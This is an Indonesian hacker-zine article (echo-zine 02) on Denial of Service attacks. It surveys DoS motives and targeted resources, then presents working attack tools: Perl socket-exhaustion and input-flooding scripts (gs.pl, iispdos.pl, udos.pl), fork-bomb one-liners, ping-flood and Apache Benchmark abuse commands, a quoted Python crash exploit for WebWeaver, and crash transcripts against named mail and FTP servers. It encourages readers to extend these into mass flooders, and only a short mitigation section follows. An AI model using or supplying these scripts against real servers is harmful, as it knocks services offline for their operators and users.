Issue‎ > ‎Issue 02‎ > ‎

006.txt

=========================================
=	SERANGAN DENIAL OF SERVICE	=
=========================================

echo-zine 02
Oleh: MOBY (echo-staff)
      moby@echo.or.id || mobygeek@telkom.net


  .o0 Kata Pengantar

	Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of
        Service atau yang lebih kita kenal dengan DoS.   Beberapa pertanyaan 
        yang mungkin bisa terjawab diantaranya :
	
		1. Apa itu DoS ?
		2. Apa motif cracker untuk melakukan itu ?
		3. Bagaimana cara melakukannya ?
		4. Apa yang harus saya lakukan untuk mencegahnya ?

	Semuanya untuk anda, ENJOY !!.  
	
  .o0 Apa itu Denial of Service (DoS) ?

	Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) 
        atau   mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat 
        menggunakan   layanan tersebut. Dampak akhir   dari  aktifitas ini menjurus 
        kepada    tehambatnya aktifitas korban yang dapat   berakibat  sangat fatal 
        (dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan
         yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana
        admin akan berada  pada kondisi yang membingungkan   antara   layanan  dan 
        kenyamanan terhadap keamanan.  Seperti yang kita tahu, keyamanan berbanding 
        terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti 
        hukum ini.

	Beberapa aktifitas DoS adalah:
		
		1. Aktifitas 'flooding' terhadap suatu server.
		2. Memutuskan koneksi antara 2 mesin.
		3. Mencegah korban untuk dapat menggunakan layanan.
		4. Merusak sistem agar korban tidak dapat menggunakan layanan.


  .o0 Motif penyerang melakukan Denial of Service

	Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker 
        dalam melakukan Denial of Service yaitu:

		1. Status Sub-Kultural.
		2. Untuk mendapatkan akses.
		3. Balas dendam.
		4. Alasan politik.
		5. Alasan ekonomi.
		6. Tujuan kejahatan/keisengan.

	Satatus subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih 
        tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum 
        dikalangan hacker-hacker muda untuk menjukkan kemampuannya  dan  Denial of
        Service merupakan aktifitas   hacker diawal karirnya.  Alasan politik  dan 
        ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita 
        bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan 
        secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of
        Service'. Beberapa kasus serangan virus semacam 'code-red' melakukan serangan
        DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, 
        komputer ini disebut 'zombie' dalam jargon.Lebih relevan lagi, keisengan 
        merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk 
        mendapatkan program-program DoS, seperti nestea, teardrop, land, boink, 
        jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of 
        Service dengan sangat tepat, dan yang terpenting sangat mudah untuk 
        melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell 
        yang berupa ./nama_program argv argc ...
	

  .o0 Denial of Sevice, serangan yang menghabiskan resource.

	Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource 
 	yang besar, sehingga komputer/mesin yang diserang   kehabisan  resource dan
	manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
		
		A. Swap Space
		B. Bandwidth
		C. Kernel Tables
		D. RAM
		E. Disk
		F. Caches
		G. INETD

  A. Swap Space
	
	Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan 
	client. Spasi swap juga digunakan untuk mem-'forked' child process. Bagaimanapun
	spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa   serangan 
	Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.

  B. Bandwidth

	Beberapa serangan Denial of Service menghabiskan bandwidth.

  C. Kernel Tables

	Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi 
	memori kepada kernel juga merupakan target serangan yang sensitif. Kernel 
	memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak 
	bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.

  D. RAM

	Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak 
	mau harus di re-boot.

  E. Disk

	Serangan klasik banyak dilakukan dengan memenuhi Disk.

  F. Caches

  G. INETD

	Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan 
	bekerja.


  .o0 Teknik Melakukan Denial of Service

	Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan 
	dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya 
	adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga 
	tidak begitu menarik.
	Kita akan bahas tipe-tipe serangan DoS.
	
		1. SYN-Flooding
		   SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole'
 		   pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang
		   lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of 
		   Service dengan mencegahmenolak cracker untuk mengakses sistem.  
		2. Pentium 'FOOF' Bug
		   Merupakan serangan Denial of Service terhadap prosessor Pentium yang 	
		   menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis 
		   sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor 
		   yang digunakan yaitu pentium.   
		3. Ping Flooding
		   Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan 
		   dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka 
		   mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network). 
		   Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP. 
		   Varian dari serangan ini disebut "smurfing" 
		   (http://www.quadrunner.com/~chuegen/smurf.txt).  

	Serangan menggunakan exploits.

		Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
			A. Serangan membutuhkan Shell Linux (Unix/Comp)
			B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan 
			   fungsi search agar lebih mudah)
			C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

		1. KOD (Kiss of Death)
		   Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
		   Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah 	
		   membuat hang/blue screen of death pada komputer korban.
		   Cara penggunaan:
		   A. Dapatkan file kod.c
		   B. Compile dengan Gcc: $ gcc -o kod kod.c
		   C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]  
		   Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
		   kepada jenis sistem operasi dan konfigurasi server target (misalmya: 
	 	   blocking) 
		2. BONK/BOINK
		   Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari 
		   bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
		3. Jolt
		   Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt 
		   yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet 	
		   yang tinggi sekali kepada korban.
		4. NesTea
		   Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows 
		   versi awal. Versi improve dari NesTea dikenal dengan NesTea2 
		5. NewTear
		   Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk 	
		   (bonk.c)
		6. Syndrop 
		   Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target 	
		   serangan adalah Linux dan Windows 
		7. TearDrop
		   TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung 
		   ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug 
		   yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini 	
		   adalah Blue Screen of Death 

	Serangan langsung (+ 31337)

		1. Ping Flood
		   Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya 
		   sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
		   bash # ping -fs 65000 [ip_target]
		2. Apache Benchmark
		   Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan) 	
		   suatu web server, namun tidak tertutup kemungkinan untuk melakukan 		
		   penyalahgunaan.
		   bash $ /usr/sbin/ab -n 10000 -c 300 \ 
		   http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
		   (diketik dalam 1 baris!)
		   Akan melakukan 10000 request paralel 300 kepada host korban.com 
		3. Menggantung Socket
		   Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal 	
		   oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak 	
		   koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients. 	
		   Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1 	
		   request simultan dengan koneksi terpisah-pisah. 

		   Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan 	
	 	   menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit). 	
		   Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa 
		   batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache 
		   akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan, 		
	   seolah-olah server korban tewas. 

	Script gs.pl (gantung socket)      

	#!/usr/bin/perl
	#
	# Nama Script  : gs.pl
	# Tipe         : Denial of Service (DoS)
	# Auth         : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
	# URL          : www.echo.or.id
	# 
	use IO::Socket;
	if (!$ARGV[1]) {
		print "Gunakan: perl gs.pl [host] [port] \n";
		exit;
	}
	for (1..1300) {
		$fh{$_}=new IO::Socket::INET
			PeerAddr=> "$ARGV[0]",
			PeerPort=> "$ARGV[1]",
			Proto => "tcp"
	or die; print "$_\n"
	}
	# END. 27 Oktober 2003 
	# Lakukan dari beberapa LoginShell (komputer) !

		DoS-ing Apache lagi !!

			Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.

	1. Fork Bomb, habiskan RAM
	
	#!/usr/bin/perl
	fork while 1;
	
	2. Habiskan CPU
	
	#!/usr/bin/perl	
	for (1..100) { fork or last }
	1 while ++$i

	3. Habiskan Memory

	#!/usr/bin/perl
	for (1..20) { fork or last }
	while(++$i) { fh{$i} = "X" x 0xff; }

		4. Serangan Input Flooding
		   Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote 	
		   Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat 	
		   terjadi secara remote jika demon (server) tidak melakukan verifikasi input 	
		   sehingga input membanjiri buffer dan menyebabkan program dihentikan secara 	
		   paksa.  
			
		   Beberapa 'proof of concept' dapat dipelajari melalui beberapa contoh ini.  

	1. Serangan kepada IISPop EMAIL Server.
	   Sofie   : Email server
	   Vendor  : http://www.curtiscomp.com/
	   TIPE    : Remote DoS
	   
	   IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes, 	
   versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181
	
	Script: iispdos.pl
	
	#!/usr/bin/perl -w
	#
	# $0_            : iispdos.pl
	# Tipe serangan  : Denial of service
	# Target         : IISPop MAIL SERVER V. 1.161 & 1.181
	# Auth           : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
	# URL            : www.echo.or.id
	#
	use IO::Socket;
	if (!$ARGV[0]) {
		print "Gunakan: perl iispdos.pl [host] \n";
		exit;
	}
	# Data 289999 bytes
	$buff = "A" x 289999; 
	
	print "Connecting ... >> $ARGV[0] \n";
	$connect = new IO::Socket::INET (
					PeerAddr=> "$ARGV[0]", 
					PeerPort=> "110", 
					Proto=> "tcp") or die;
					print "Error: $_\n";
	print "Connect !!\n";
	print $connect "$buff\n";
	close $connect;
	print "Done \n";
	print "POST TESTING setelah serangan \n";
	print "TEST ... >> $ARGV[0] \n";
	$connect = new IO::Socket::INET (
					PeerAddr => "$ARGV[0]",
					PeerPort => "110",
					Proto => "tcp") or die;
					print "Done !!, $ARGV[0] TEWAS !! \n";

	print "Gagal !! \n";
	close $connect;
	# END. 

	2. Membunuh wzdftpd.
	   Sofie   : wzdftpd 
           Vendor  : http://www.wzdftpd.net
 	   
	Proof of Concept:
	
	% telnet 127.0.0.1 21
        Trying 127.0.0.1...
	Connected to localhost.novel.ru.
	Escape character is '^]'.
	220 wzd server ready.
	USER guest
	331 User guest okay, need password.
	PASS any
	230 User logged in, proceed.
	PORT
	Connection closed by foreign host.
	% telnet 127.0.0.1 21
	Trying 127.0.0.1...
	telnet: connect to address 127.0.0.1: Connection refused
	telnet: Unable to connect to remote host

	wzdftpd crash setelah diberikan perintah/command PORT !

	3. Serangan 32700 karakter, DoS BRS WebWeaver.
	   Sofie : BRS WebWeaver V. 1.04
	   Vendor : www.brswebweaver.com
	   BugTraqer : euronymous /F0KP

	}------- start of fadvWWhtdos.py ---------------{

	#! /usr/bin/env python
	## #!/usr/bin/python (Py Shebang, MOBY)
	###
	# WebWeaver 1.04 Http Server DoS exploit 
	# by euronymous /f0kp [http://f0kp.iplus.ru]
	########
	# Usage: ./fadvWWhtdos.py
	########

	import sys
	import httplib

	met = raw_input("""
	What kind request you want make to crash webweaver?? [ HEAD/POST ]: 
	""")
	target = raw_input("Type your target hostname [ w/o http:// ]: ")
	spl = "f0kp"*0x1FEF
	conn = httplib.HTTPConnection(target)
	conn.request(met, "/"+spl)
	r1 = conn.getresponse()
	print r1.status

	}--------- end of fadvWWhtdos.py ---------------{

	Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !

	4. Buffer Overflow pada MailMAX 5
	   Sofie     : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
	   Vendor    : http://www.smartmax.com
	   BugTraqer : matrix at 0x36.org

	Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command 
	SELECT. Dampak dari serangan ini adalah berhentiya server dan harus di-restart secara 
	manual.

	Contoh eksploitasi:
	                      --------[ transcript ]-------
	nc infowarfare.dk 143
	* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
	0000 CAPABILITY
	* CAPABILITY IMAP4rev1
	0000 OK CAPABILITY completed
	0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
	0001 OK User authenticated.
	0002 SELECT "aaa...[256]...aaaa"
                      	      --------[ transcript ]-------
	   
	Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool 
	ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat' 

	
	Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu - tentu saja - 
	membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada 
	komputer esekutor yang memiliki bandwidth lebar.
	
	Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
	A. Connect ke korban (host, port).
	B. Kirimkan paket data dalam jumlah besar. 
	C. Putuskan koneksi > selesai.

	Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS. 
	Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (	
        port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim). 

	-- udos.pl --
  	    
	#!/usr/bin/perl
	#
	# $0   : udos.pl
	# Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
	# URL  : www.echo.or.id
	#
	use IO::Socket;
	#
	if (!$ARGV[2]) {
		print "Gunakan % perl udos.pl [host] [port] [data] \n";
		print "Contoh :\n";
		print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
		exit;
	}
	# Siapkan data 
	$buffer = "A" x $ARGV[2];
	# Connect -> Korban
	print "Connecting ... -> $ARGV[0] \n";
	$con = new IO::Socket::INET (  
			PeerAddr=> "$ARGV[0]",
			PeerPort=> "$ARGV[1]",
			Proto=> "tcp") or die;
			print "Error: $_ \n";
	# Connect !
	print "Connect !! \n";
	print $con "$buffer\n";
	close $con;
	print "Done. \n";
	print "POST TESTING setelah serangan \n";
	print "TEST ... >> $ARGV[0] \n";
	$connect = new IO::Socket::INET (
					PeerAddr => "$ARGV[0]",
					PeerPort => "$ARGV[1]",
					Proto => "tcp") or die;
					print "Done !!, $ARGV[0] TEWAS !! \n";

	print "Gagal !! \n";
	close $connect;
	# End.

	-- udos.pl --

	Skrip sederhana diatas hanya melakukan hubungan dengan server korban, 
	lalu mengirimkan flood dan melakukan post testing. Dengan sedikit 
	pemprograman anda dapat membuat sebuah 'Mass Flooder' atau 'Brute Force 
	Flooder', tergantung pada kreatifitas anda !   


  .o0 Penanggulangan serangan Denial of Service

	Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana 
	mudahnya menggunaka sploits/tool   untuk membekukan   Ms Windows, atau
	bagaimana mudahnya melakukan input flooding dan membuat tool   sendiri. 
	Namun Denial of service adalah masalah layanan publik.Sama halnya dengan 
	anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai 
	sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan
	'menutup' toko anda - dan ini adalah cara paling efektif - namun jawaban
	kekanak-kanakan demikian tentu tidak anda harapkan.

  1. Selalu Up 2 Date.
 	Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan
	Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal
	untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option 
	untuk menolak cracker untuk mengakses system.

  2. Ikuti perkembangan security
	Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal. 
	Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia
	security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet' 
	dan 'terlatih' akan sangat mudah untuk memasuki sistem dan merusak - 
	tidak tertutup kemungkinan untuk melakukan Denial of Service -.
	Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara langsung 
	dengan Flooding dapat diatasi dengan menginstall patch terbaru dari vendor
	 atau melakukan up-date.

  3. Teknik pengamanan httpd Apache.
	+ Pencegahan serangan Apache Benchmark.
	Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan 
	identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui 
	firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From ). 
	Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang 
	admin harus teliti.
	Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi 
	jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'. 
	Jangan lupa juga menambah RAM.

  4. Pencegahan serangan non elektronik.
	Serangan yang paling efektif pada dasarnya adalah local. Selain efektif 
	juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman, 
	atau semua user adalah orang 'baik'. Pertimbangkan semua aspek. Anda bisa 
	menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan 
	dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari
	admin dan user bersangkutan.  


  .o0 Penututp.

	Berbicara masalah security merupakan hal yang mengasikkan. Teknik-teknik 
	intrusi baru begitu unik dan sebagai seorang geek saya yakin 'keindahan 
	pengetahuan diatas segalanya'. Anda tidak akan melakukan hal-hal bodoh 
	seputar dokumen ini dan ingat selalu 'kita tidak pernah tahu segalanya'. 
	Mulailah belajar, perhatikan dunia dan kuasai ! Anda akan terkagum, 
	betapa indahnya semesta ini.
	Terima kasih untuk anda semua telah membaca artikel ini - bahkan sampai 
	baris ini :) -. Terima kasih untuk rekan-rekan echo-staff atas support 
	selama ini. Untuk semua Computer Security Industries Indonesia, teruslah 
	berjuang Amigo !! Computer Underground, hey nak, sudah saatnya belajar 
	dan berhenti bermain. Semua teman-teman online TERIMA KASIH !!
	Shout buat Willy, Al, Dudunk - semua pengunjung 'rumah mesum' :P 
	(cuma istilah/jargon) - Thanks buat Rizka, maaf atas 'pesan-pesan filosofi 
	gelap', kamu tahu pemilik nomor 08157190*** !. "Ka .. tidak baik marah 
	kepada seseorang yang datang dengan kasih sayang :)"

	"KALAU AKU SEORANG ATEIS, MAKA AKAN AKU KATAKAN:
		'TEMPAT YANG PALING AMAN ADALAH PETI MATI'
	TAPI TERNYATA AKU SALAH !!"
						[MOBY]

 
Bacaan lanjutan / referensi:
	
	[1] Kejahatan Internet, Trik Aplikasi dan Tip Penanggulangannya.
	    R. Kresno Aji, Agus Hartanto, Deni Siswanto, Tommy Chandra Wiratama.
	    Elexmedia Komputindo, ISBN: 979-20-3249-5
	[2] 7 Cara Isengi Apache dan kiat mengatasinya.
	    Steven Haryanto, Masterweb Magazine Oktober 2001
	[3] Introduction to Denial of Service
	    Hans Husman, t95hhu@student.tdb.uu.se
	[4] CERT ADVISORIES.
	    www.cert.org
	[5] Packet Storm Security
	    http://packetstormsecurity.nl
	[6] BugTraq
	    www.securityfocus.com
	        
 
Comments